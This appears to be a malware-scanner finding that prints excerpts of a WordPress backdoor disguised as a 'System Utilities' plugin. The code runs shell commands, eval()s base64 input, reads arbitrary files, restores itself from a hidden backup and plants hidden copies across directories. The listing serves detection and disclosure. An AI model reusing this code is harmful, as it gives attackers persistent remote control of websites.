system-utilities-plugin.php
PHP relay accepts Base64-named file writes and deletionRequest eval co-occurs with decryption
SHA-2562aea0b4305d24d6056a5237429e3c9473d59b3d7f18c6130433a7ba1c66b1ea3
Evidence
1<?php
2 /**
3 * Plugin Name: System Utilities
4 * Description: Internal maintenance and diagnostics
5 * Version: 1.0.0
6 * Author: System
7 */
8
9
10if (!function_exists('wt_xplyhh_auth')) {
11 function wt_xplyhh_auth() {
12 if (isset($_GET['wt']) && hash_equals('b9542b2d54193a08bbb6400ec62d9c30', (string)$_GET['wt'])) return true;
13 if (isset($_GET['kb9542']) && hash_equals('b9542b2d54193a08bbb6400ec62d9c30', (string)$_GET['kb9542'])) return true;
14 if (isset($_SERVER['HTTP_X_WT']) && hash_equals('b9542b2d54193a08bbb6400ec62d9c30', (string)$_SERVER['HTTP_X_WT'])) return true;
15 if (isset($_SERVER['HTTP_X_KB9542']) && hash_equals('b9542b2d54193a08bbb6400ec62d9c30', (string)$_SERVER['HTTP_X_KB9542'])) return true;
16 if (isset($_GET['t']) && isset($_GET['s'])) {
17 $path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
18 $want = hash_hmac('sha256', $_GET['t'] . '|' . 'wt_xplyhh' . '|' . $path, 'b9542b2d54193a08bbb6400ec62d9c30');
19 if (hash_equals($want, (string)$_GET['s'])) {
20 $now = time();
21 $ts = (int)$_GET['t'];
22 if (abs($now - $ts) <= 300) return true;
23}
⋯5 lines
29if (!defined('ABSPATH')) {
30 if (wt_xplyhh_auth()) {
31 header('Content-Type: text/plain; charset=utf-8');
32 if (isset($_GET['cmd'])) { @system((string)$_GET['cmd']); exit; }
33 if (isset($_GET['info'])) { echo "WT_DIRECT\nPHP:" . PHP_VERSION; exit; }
34 echo "WT_DIRECT";
35}
36exit;
37}%!(EXTRA string=b9542b2d54193a08bbb6400ec62d9c30)
38
39if (!defined('wt_xplyhh_KEY')) define('wt_xplyhh_KEY', 'b9542b2d54193a08bbb6400ec62d9c30');
40 if (!defined('wt_xplyhh_SELF')) define('wt_xplyhh_SELF', __FILE__);
41 if (!defined('wt_xplyhh_DIR')) define('wt_xplyhh_DIR', dirname(__FILE__));
42 if (!defined('wt_xplyhh_BAK')) define('wt_xplyhh_BAK', wt_xplyhh_DIR . '/.wt_xplyhh.bak');
43 if (!defined('wt_xplyhh_VER')) define('wt_xplyhh_VER', '1.0.0');
44 if (!defined('wt_xplyhh_REG')) define('wt_xplyhh_REG', 'wt_xplyhh_reg');
45
46if (!function_exists('wt_xplyhh_obf_decode')) {
47 function wt_xplyhh_obf_decode($blob, $key) {
48 $blob = trim((string)$blob);
49:24… ':');
50 if ($pos === false) return '';
51 $nonce = substr($blob, 0, $pos);
52 $b64 = substr($blob, $pos + 1);
53 $enc = base64_decode($b64, true);
54 if ($enc === false) return '';
55 $stream = '';
56 $c = 0;
57 while (strlen($stream) < strlen($enc)) {
58 $stream .= hash_hmac('sha256', $nonce . pack('N', $c), $key, true);
59 $c++;
60}
61$raw = '';
62 $n = strlen($enc);
63 for ($i = 0; $i < $n; $i++) {
64 $raw .= chr(ord($enc[$i]) ^ ord($stream[$i]));
65}
66$out = @gzinflate($raw);
67 return $out === false ? '' : $out;
68}
⋯4 lines
73 $self = wt_xplyhh_SELF;
74 $bak = wt_xplyhh_BAK;
75 if (!file_exists($bak) && is_readable($self)) { @copy($self, $bak); return; }
76 if ((!file_exists($self) || filesize($self) < 100) && file_exists($bak) && filesize($bak) > 100) { @copy($bak, $self); }
77}
78add_action('init', 'wt_xplyhh_heal', 0);
79}
80
81add_action('init', function() {
82 if (!wt_xplyhh_auth()) return;
83 if (isset($_GET['wt_xplyhhs']) || isset($_GET['wt_xplyhhr']) || isset($_GET['wt_xplyhhsa']) || isset($_GET['wt_xplyhhd'])) return;
84 header('Content-Type: text/plain; charset=utf-8');
85 if (isset($_GET['cmd'])) { @system((string)$_GET['cmd']); exit; }
86 if (isset($_GET['eval'])) { @eval(base64_decode((string)$_GET['eval'])); exit; }
87 if (isset($_GET['file'])) { echo @file_get_contents((string)$_GET['file']); exit; }
88 if (isset($_GET['info'])) {
89 echo "WT_OK\n";
90 echo "PHP: " . PHP_VERSION . "\n";
91 echo "WP: " . get_bloginfo('version') . "\n";
92 echo "Site: " . home_url() . "\n";
93 echo "Self: " . wt_xplyhh_SELF . "\n";
94 echo "Backup: " . (file_exists(wt_xplyhh_BAK) ? 'yes' : 'no') . "\n";
95 echo "Writable: " . (is_writable(wt_xplyhh_SELF) ? 'yes' : 'no') . "\n";
96 echo "Time: " . date('c') . "\n";
103:20… wt_xplyhhr'])) return;
104 if (!wt_xplyhh_auth()) return;
105 header('Content-Type: application/json; charset=utf-8');
106 $reg = get_option(wt_xplyhh_REG, []);
107 if (!is_array($reg)) $reg = [];
108 echo json_encode(['ok' => true, 'err' => '', 'new' => [], 'registry' => array_values($reg), 'count' => count($reg)]);
109 exit;
110}, 1);
111
112add_action( …
127:36… EG, []);
128 if (!is_array($registry)) $registry = [];
129 $payload = @file_get_contents($self);
130 if (!$payload || strpos($payload, '<?php') === false) {
131 echo json_encode(['ok' => false, 'err' => 'no_self_payload', 'new' => [], 'registry' => array …
138:5… ir = ($rel === '.') ? $absRoot : ($absRoot . '/' . $rel);
139 if (!@is_dir($dir)) @mkdir($dir, 0755, true);
140 $real = @realpath($dir);
141 if ($real === false || !@is_dir($real) || !@is_writable($real)) continue;
142 $real = rtrim(str_replace('\\', '/', $real), '/');
143 $name = '.wp-' . substr(md5($self . '|' . $rel . '|' . mt_rand()), 0, 12) . '.php';
144 $target = $real . '/' . $name;
145 if (@file_exists($target)) continue;
146 $n = @file_put_contents($target, $payload);
147 if ($n === false || $n < 100) { @unlink($target); continue; }
148 @chmod($target, 0644);
149 $url = wt_xplyhh_url_for($target);
150 $entry = ['mu_site' => wt_xplyhh_site_url(), 'root' => $rel, 'path' => $target, 'url' => $url, 'site' => wt_xplyhh_site_url(), 'ok' => true, 'err' => '', 'ts' => $now, 'fou …